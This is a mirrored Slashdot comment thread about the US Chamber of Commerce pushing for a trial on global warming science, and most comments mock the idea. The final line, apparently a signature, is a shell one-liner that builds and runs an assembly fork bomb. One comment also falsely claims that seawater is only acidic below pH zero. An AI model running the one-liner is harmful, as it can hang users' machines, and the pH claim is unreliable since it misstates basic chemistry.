Slashdot Mirror
Global Warming To Be Put On Trial?
Mr_Blank writes to mention that the United States' largest business lobby is pushing for a public trial to examine the evidence of global warming and have a judge make a ruling on whether human beings are warming the planet to dangerous effect. "The goal of the chamber, which represents 3 million large and small businesses, is to fend off potential emissions regulations by undercutting the scientific consensus over climate change. If the EPA denies the request, as expected, the chamber plans to take the fight to federal court. The EPA is having none of it, calling a hearing a 'waste of time' and saying that a threatened lawsuit by the chamber would be 'frivolous.' [...] Environmentalists say the chamber's strategy is an attempt to sow political discord by challenging settled science — and note that in the famed 1925 Scopes trial, which pitted lawyers Clarence Darrow and William Jennings Bryan in a courtroom battle over a Tennessee science teacher accused of teaching evolution illegally, the scientists won in the end."
They'll be trying the existence of Manbearpig. Really, I'm serial!
-- You are in a maze of little, twisty passages, all different... --
A problem I have been working on is pretty dicey. I think the problem is polynomially solvable (and not NP-hard), and a colleague of mine thinks that it is NP-hard. I am thinking of just getting a judge to rule on that.
This gravity thing is turning out to be a pain in the ass. There's no end of constructions required to keep everything from falling down. I'm sick of it. I'M SUING GRAVITY.
I assume after a judge rules in my favor, I'll be free to float around all day long. Objective reality? That's for people without lawyers. See you in orbit, suckers!
I think you missed this one: http://en.wikipedia.org/wiki/Intergovernmental_Panel_on_Climate_Change#IPCC_Fourth_Assessment_Report:_Climate_Change_2007 . Yes, there seems to be a scientific consensus.
which overwhelmingly indicates that climate change presents a threat to human health and welfare."
make that
which overwhelmingly indicates that climate change presents a threat to human wealth and warfare."
I'd suggest reading a bit of:
Kicking the Sacred Cow by James P Hogan.
You would be rather surprised and intrigued by what you'll read.
Well, surprised, anyway. Indeed. That Velikovsky was right about crashing planets, AIDS is caused by drug use, cold fusion works, the big bang never happened and cosmology is a fraud, Einstein was also a fraud, modern science doesn't work, evolution is a hoax, and perpetual motion would be possible, except for conspiracies of scientists.
http://www.geoffreylandis.com
Indeed. Just likes there is very little evidence for President Obama being born in America!! Whatever fancy $10 dollar arguments these academicals come up with aren't enough to fool honest folk.
May the Maths Be with you!
Businesses suing over Global Warming science? I'm starting my new book now, and it's gonna be called Inherit the Hot Wind: The Scopes Money Trial.
Shameless plug for my photos on Flickr
While they're at it they should vote to make PI equal to three. That would simplify an awful lot of engineering calculations.
No sig today...
I see what you did there. Instead of picking a highly credible news source, you picked one that was only slightly more credible than Fox....
Check out my sci-fi/humor trilogy at PatriotsBooks.
You cannot honestly believe that the US government, which depends on tax revenue from American businesses and their employees, would intentionally handicap said businesses?
Are you claiming that the US government acts rationally? Citation needed.
RUGBYRUGBYRUGBY
Utter rubbish. The water is not increasing in acidity. Its PH is ~8.104. Even the warmist lunatics believe it will still be ~7.824 100 years from now (no doubt they know this from running a pile of random numbers through a hockey-stick generator). Do you see that in no way can you say that there is increased acidity? If the PH falls below zero, then, my friend, the word Acid may be appropriate.
Yeah and you can just ignore the FACT that the North Atlantic is melting because it is some NASA plot!
I don't like to break it to you, but the North Atlantic and the South Atlantic have already melted. In fact, the Atlantic has been liquid for quite a few thousand years. This is why we call it an 'ocean' as opposed to a 'glacier' or 'continent'.
Hope this helps.
I am TheRaven on Soylent News
Maybe he has an Electric Environmentalist - a machine that worries for him so he has more time to post on slashdot.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;